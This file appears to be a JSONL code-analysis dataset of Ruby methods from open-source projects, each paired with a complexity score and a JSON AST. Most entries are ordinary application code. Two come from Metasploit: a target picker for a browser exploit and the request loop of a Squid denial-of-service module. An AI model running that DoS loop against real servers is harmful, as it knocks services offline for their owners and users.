"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_admin_session_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Re-authentication required\"]}]}]}]}]}]}]}","id":"22ea01f3-c8b7-4a1d-b8bd-e5921c436936"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipping_rate.rb","start_line":14,"raw_source":"def display_price\n      price = display_base_price.to_s\n\n      return price if tax_rate.nil? || tax_amount.zero? || !tax_rate.show_rate_in_label\n\n      Spree.t(\n        tax_rate.included_in_price? ? :including_tax : :excluding_tax,\n        scope: 'shipping_rates.display_price',\n        price: price,\n        tax_amount: display_tax_amount,\n        tax_rate_name: tax_rate.name\n      )\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"display_price\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"price\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"display_base_price\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tax_rate\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tax_amount\"]},\"zero?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tax_rate\"]},\"show_rate_in_label\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tax_rate\"]},\"included_in_price?\"]},{\"type\":\"sym\",\"children\":[\"including_tax\"]},{\"type\":\"sym\",\"children\":[\"excluding_tax\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"shipping_rates.display_price\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"lvar\",\"children\":[\"price\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_amount\"]},{\"type\":\"send\",\"children\":[null,\"display_tax_amount\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_rate_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tax_rate\"]},\"name\"]}]}]}]}]}]}","id":"0be8cfa4-b2cd-467e-a85f-e7a59c517422"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/after_block_service.rb","start_line":4,"raw_source":"def call(account, target_account)\n    @account        = account\n    @target_account = target_account\n\n    clear_home_feed!\n    clear_list_feeds!\n    clear_notification_requests!\n    clear_notifications!\n    clear_conversations!\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"arg\",\"children\":[\"target_account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_account\",{\"type\":\"lvar\",\"children\":[\"target_account\"]}]},{\"type\":\"send\",\"children\":[null,\"clear_home_feed!\"]},{\"type\":\"send\",\"children\":[null,\"clear_list_feeds!\"]},{\"type\":\"send\",\"children\":[null,\"clear_notification_requests!\"]},{\"type\":\"send\",\"children\":[null,\"clear_notifications!\"]},{\"type\":\"send\",\"children\":[null,\"clear_conversations!\"]}]}]}","id":"54d9f467-5438-4425-8fea-0fc34aeb9073"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/user_tokens/fetch_service.rb","start_line":93,"raw_source":"def expired?(token)\n        exp_time = expires_at(token)\n        return false if exp_time.nil?\n\n        exp_time.past?\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp_time\",{\"type\":\"send\",\"children\":[null,\"expires_at\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp_time\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp_time\"]},\"past?\"]}]}]}","id":"1ea0da2c-4234-4374-b73d-852ff9a1e5c3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/option.rb","start_line":17,"raw_source":"def localized_name\n          I18n.t(\"discourse_ai.ai_bot.tool_options.#{tool.signature[:name]}.#{name}.name\")\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"localized_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"discourse_ai.ai_bot.tool_options.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tool\"]},\"signature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\".name\"]}]}]}]}","id":"7eafa7d2-d22e-45e9-8892-d62b46a526c6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/server.rb","start_line":19,"raw_source":"def setup\n          set_server\n          set_port\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_server\"]},{\"type\":\"send\",\"children\":[null,\"set_port\"]}]}]}","id":"db35353a-9e1d-47b4-b5ca-d306690791ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb","start_line":308,"raw_source":"def get_target(agent)\n    # If the user is already specified by the user, we'll just use that\n    return target if target.name != 'Automatic'\n\n    if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6/\n      return targets[1]  # IE 6 on Windows XP SP3\n    elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7/\n      return targets[2]  # IE 7 on Windows XP SP3\n    elsif agent =~ /NT 6\\.0/ and agent =~ /MSIE 7/\n      return targets[2]  # IE 7 on Windows Vista SP2\n    elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8/\n      return targets[3]  # IE 8 on Windows XP SP3\n    elsif agent =~ /NT 6\\.[01]/ and agent =~ /MSIE 8/\n      return targets[3]  # IE 8 on Windows 7 SP1/Vista SP2\n    elsif agent =~ /NT 6\\.1/ and agent =~ /MSIE 9/\n      return targets[4]  # IE 9 on Windows 7 SP1\n    else\n      return nil\n    end\n  end","complexity_score":40.43,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 6\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 8\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.[01]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 8\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 9\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}]}]}","id":"c303927b-b4f9-4858-a57d-a864f8ed5149"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/ci/templates/5_minute_production_app_ci_yaml_spec.rb","start_line":27,"raw_source":"def create_ci_variable(key, value)\n        create(:ci_variable, project: project, key: key, value: value)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_ci_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_variable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"39a73cb6-ddfa-41ac-a2cd-bcd2f785b5c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/squid_range_dos.rb","start_line":63,"raw_source":"def run\n    count = 0\n    error_count = 0 # The amount of connection errors from the server.\n    reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.\n\n    print_status(\"Sending #{reqs} DoS requests to #{peer}\")\n\n    start_service\n\n    while reqs > count\n      begin\n        res = req(datastore['CVE'])\n      rescue Errno::ECONNRESET\n        res = nil\n      end\n\n      if res && (res.code == 200) && (count == 0)\n        count = 1\n        print_status(\"Sent first request to #{rhost}:#{rport}\")\n      elsif res\n        print_status(\"Sent DoS request #{count} to #{rhost}:#{rport}\")\n        count += 1\n        error_count = 0\n\n        next # Host could be completely dead, or just waiting for another Squid child.\n      elsif count == 0\n        print_error('Cannot connect to host.')\n        return\n      end\n\n      error_count += 1\n      next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.\n\n      print_good('DoS completely successful.')\n      report_vuln(\n        host: rhost,\n        port: rport,\n        name: name,\n        refs: references\n      )\n      return\n    end\n    print_error('Looks like the host is not vulnerable.')\n  end","complexity_score":63.33,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"error_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"reqs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUEST_COUNT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqs\"]}]},{\"type\":\"str\",\"children\":[\" DoS requests to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\"]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqs\"]},\">\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CVE\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sent first request to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sent DoS request \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"error_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Cannot connect to host.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_count\"]},\">\",{\"type\":\"lvar\",\"children\":[\"reqs\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"DoS completely successful.\"]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[null,\"references\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Looks like the host is not vulnerable.\"]}]}]}]}","id":"241fc57b-5715-4470-94c1-3f229229fd6b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/restorer.rb","start_line":125,"raw_source":"def reload_site_settings\n      log \"Reloading site settings...\"\n      SiteSetting.refresh!\n\n      DiscourseEvent.trigger(:site_settings_restored)\n\n      if @disable_emails && SiteSetting.disable_emails == \"no\"\n        log \"Disabling outgoing emails for non-staff users...\"\n        user = User.find_by_email(@user_info[:email]) || Discourse.system_user\n        SiteSetting.set_and_log(:disable_emails, \"non-staff\", user)\n      end\n    end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reload_site_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Reloading site settings...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"refresh!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"site_settings_restored\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disable_emails\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"disable_emails\"]},\"==\",{\"type\":\"str\",\"children\":[\"no\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Disabling outgoing emails for non-staff users...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"set_and_log\",{\"type\":\"sym\",\"children\":[\"disable_emails\"]},{\"type\":\"str\",\"children\":[\"non-staff\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]}]}]}","id":"a9fdc3bb-15e3-4835-a373-abdd4640abae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/gitlab_cable_config_exists_check.rb","start_line":14,"raw_source":"def show_error\n        try_fixing_it(\n          'Copy config/cable.yml.example to config/cable.yml',\n          'Update config/cable.yml to match your setup'\n        )\n        for_more_information(\n          see_installation_guide_section('GitLab')\n        )\n        fix_and_rerun\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_fixing_it\",{\"type\":\"str\",\"children\":[\"Copy config/cable.yml.example to config/cable.yml\"]},{\"type\":\"str\",\"children\":[\"Update config/cable.yml to match your setup\"]}]},{\"type\":\"send\",\"children\":[null,\"for_more_information\",{\"type\":\"send\",\"children\":[null,\"see_installation_guide_section\",{\"type\":\"str\",\"children\":[\"GitLab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fix_and_rerun\"]}]}]}","id":"f4411393-e4fd-4d7d-b1d7-9ea8cf4b9dd7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":248,"raw_source":"def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order\n    default_scope = SpecialPostWithDefaultScope.all\n    posts = []\n    SpecialPostWithDefaultScope.find_in_batches do |batch|\n      posts.concat(batch)\n    end\n    assert_equal default_scope.pluck(:id).sort, posts.map(&:id).sort\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialPostWithDefaultScope\"]},\"all\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialPostWithDefaultScope\"]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_scope\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]}]}]}]}","id":"83aeae8c-daf6-4073-bfd0-57ee30bdc281"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/file_info.rb","start_line":24,"raw_source":"def hiword(num)\n    (num >> 16) & 0xffff\n  end","complexity_score":2.85,"ast_json":"{\"type\":\"def\",\"children\":[\"hiword\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\">>\",{\"type\":\"int\",\"children\":[16]}]}]},\"&\",{\"type\":\"int\",\"children\":[65535]}]}]}","id":"fd97f770-ab68-4cea-939a-b4f756e8af42"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/recurring_meetings/update_service.rb","start_line":43,"raw_source":"def after_perform(call)\n      return call unless call.success?\n\n      recurring_meeting = call.result\n\n      if should_reschedule?(recurring_meeting)\n        reschedule_future_occurrences(recurring_meeting)\n        reschedule_init_job(recurring_meeting)\n        send_updated_mail(recurring_meeting)\n      end\n\n      cleanup_cancelled_schedules(recurring_meeting)\n      update_template(call)\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"recurring_meeting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_reschedule?\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reschedule_future_occurrences\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"send\",\"children\":[null,\"reschedule_init_job\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"send\",\"children\":[null,\"send_updated_mail\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"cleanup_cancelled_schedules\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"send\",\"children\":[null,\"update_template\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}]}","id":"e2f8cb7f-fe9e-4a64-a679-42d77ac680a0"}
